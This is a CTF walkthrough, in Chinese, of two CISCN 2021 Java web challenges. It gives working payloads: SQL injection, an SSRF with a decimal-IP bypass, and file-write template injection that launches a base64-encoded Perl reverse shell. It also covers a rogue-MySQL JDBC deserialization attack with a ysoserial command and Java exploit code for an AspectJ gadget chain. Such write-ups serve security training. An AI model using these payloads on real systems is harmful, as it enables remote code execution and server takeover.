ciscn2021 华北半决赛 java
注册后登录,/message会显示所有的message,而浏览方式是通过/view,然后传path参数,存在任意文件读取
tree中给了目录树
.
├── pom.xml
└── src
└── main
├── java
│ └── com
│ └── nothing
│ └── game
│ ├── GameApplication.java
│ ├── controller
│ │ ├── AdminController.java
│ │ ├── HomeController.java
│ │ ├── LoginController.java
│ │ ├── MessageController.java
│ │ ├── RegisterController.java
│ │ ├── StaticMethod.java
│ │ └── UserListController.java
│ └── model
│ ├── Message.java
│ └── User.java
└── resources
├── application.properties
├── static
│ ├── css
│ ├── images
│ ├── js
│ └── upload
│ └── tree
└── templates
└── error
/table中33行直接拼接,sqlmap直接跑
得到adminpass,登录
先看到这里/adminPost,需要本地访问
而上面/delayTest使用了new URL做请求,其实当初这里能直接file协议读flag。ip转成十进制绕一下就好了
/delayTest?url=http://2130706433:8080/adminPost%3Fmessage%3D123%26path%3D321
这样就能写文件了
并且这里path是直接拼接上去的
String realPath = basePath.concat("static/upload/").concat(path);
所以理论上来说可以任意文件写,前面读pom.xml可以知道有thymeleaf包
由于这里/view使用了@ResponseBody注解不会模板解析,所以需要覆盖templates下的html文件
payload:
/delayTest?url=http://2130706433:8080/adminPost%3Fmessage%3D%253C!DOCTYPE%2520HTML%253E%250A%253Chtml%2520xmlns%253Ath%253D%2522http%253A%252F%252Fwww.thymeleaf.org%2522%253E%250A%253Cdiv%2520th%253Afragment%253D%2522header%2522%253E%250A%2520%2520%2520%2520%253Ch3%253ESpring%2520Boot%2520Web%2520Thymeleaf%2520Example%253C%252Fh3%253E%250A%253C%252Fdiv%253E%250A%253Cdiv%2520th%253Afragment%253D%2522main%2522%253E%250A%2520%2520%2520%2520%253Cspan%2520th%253Atext%253D%2522'Hello%252C%2520'%2520%252B%2520%2524%257BT(java.lang.Runtime).getRuntime().exec('bash%2520-c%2520%257Becho%252CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIwLjAuMC4wOjEyMzQiKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8Pjsn%257D%257C%257Bbase64%252C-d%257D%257C%257Bbash%252C-i%257D')%257D%2522%253E%253C%252Fspan%253E%250A%253C%252Fdiv%253E%250A%253C%252Fhtml%253E%26path%3D..%2F..%2Ftemplates%2Ftable.html
其中更改的模板为../../templates/table.html
<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
<h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
<span th:text="'Hello, ' + ${T(java.lang.Runtime).getRuntime().exec('bash -c {echo,cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIwLjAuMC4wOjEyMzQiKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8Pjsn}|{base64,-d}|{bash,-i}')}"></span>
</div>
</html>
访问/table渲染触发
这里第二种方法是覆盖application.properties触发jdbc反序列化
application.properties
spring.datasource.url=jdbc:mysql://x.x.x.x:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
覆盖后在服务器起一个rogue-mysql-server.py,用Jdk8u20反序列化链生成payload.ser放到同目录下,注意windows得用cmd生成
java -jar ysoserial-0.0.8-SNAPSHOT-all.jar Jdk8u20 "bash -c {echo,cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIwLjAuMC4wOjEyMzQiKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8Pjsn}|{base64,-d}|{bash,-i}" > payload.ser
然后在登录处触发即可
ciscn2021 final ezj4va
maven包中有aspectjweaver
但是ysoserial中的链需要配合commons-collections
包来使用,先看一下普通的链
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
从HashMap.hash()
开始到SimpleCache$StorableCachingMap.put()
需要借助commons-collections
看一下/cart/add
其中接受skus和cookie['cart'],传入
Cart cart=cartService.addToCart(skus,oldCart);
然后分别进行反序列化,得到两个Cart对象:toAdd和cart
然后会遍历toAdd中的SkuDescribe属性,并把它放到旧的cart中。可以看到是通过skuDescribe.put
进行加入,那么如果cart的SkuDescribe是SimpleCache$StorableCachingMap
,就正好能导致任意文件写了
if(toAdd.getSkuDescribe()!=null){
Map skuDescribe = cart.getSkuDescribe();
for(Map.Entry<String,Object> entry:toAdd.getSkuDescribe().entrySet()){
skuDescribe.put(entry.getKey(),entry.getValue());
}
}
生成payload,两个Cart对象,其中genSkus的skuDescribe为{文件名,文件内容}的HashMap,genOldCart的skuDescribe为SimpleCache$StoreableCachingMap对象
package ciscn.fina1.ezj4va.launch;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Serializer;
public class test {
private static test main = new test();
public static void main(String[] args) throws Exception {
System.out.println(main.genSkus());
System.out.println(main.genOldCart());
}
private String genSkus() throws Exception {
Cart cart = new Cart();
HashMap hashMap = new HashMap();
String str = "yv66vgAAADQANQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BABdTZXJpYWxpemFibGUgcmVhZE9iamVjdAoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgoAFgAXBwAYDAAZABoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsIABwBAARjYWxjCgAWAB4MAB8AIAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsHACIBABdjaXNjbi9maW5hMS9lemo0dmEvY2FsYwcAJAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABlMY2lzY24vZmluYTEvZXpqNHZhL2NhbGM7AQAKcmVhZE9iamVjdAEAHihMamF2YS9pby9PYmplY3RJbnB1dFN0cmVhbTspVgEAA29pcwEAG0xqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOwEACkV4Y2VwdGlvbnMHADABABNqYXZhL2lvL0lPRXhjZXB0aW9uBwAyAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhACEAIQACAAEAIwAAAAIAAQAFAAYAAQAlAAAAMwABAAEAAAAFKrcAAbEAAAACACYAAAAKAAIAAAAMAAQADQAnAAAADAABAAAABQAoACkAAAACACoAKwACACUAAABOAAIAAgAAABKyAAcSDbYAD7gAFRIbtgAdV7EAAAACACYAAAAOAAMAAAAQAAgAEQARABIAJwAAABYAAgAAABIAKAApAAAAAAASACwALQABAC4AAAAGAAIALwAxAAEAMwAAAAIANA==";
byte[] code = Base64.getDecoder().decode(str);
hashMap.put("calc.class",code);
setField(cart,"skuDescribe",hashMap);
return Serializer.serialize(cart);
}
private String genOldCart() throws Exception {
Cart cart = new Cart();
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap cache = (HashMap) constructor.newInstance("E:\\DDD\\ezj4va\\target\\classes\\ciscn\\fina1\\ezj4va", 12);
setField(cart,"skuDescribe",cache);
return Serializer.serialize(cart);
}
private static void setField(Object obj, String field,Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj,value);
}
}
calc.class
package ciscn.fina1.ezj4va;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class calc implements Serializable {
public calc() {
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("Serializable readObject");
Runtime.getRuntime().exec("calc");
}
}
写入
触发
fix我只能想到deserialize函数中ban关键字了,只可惜当天idea正好到期,编译都编译不了。。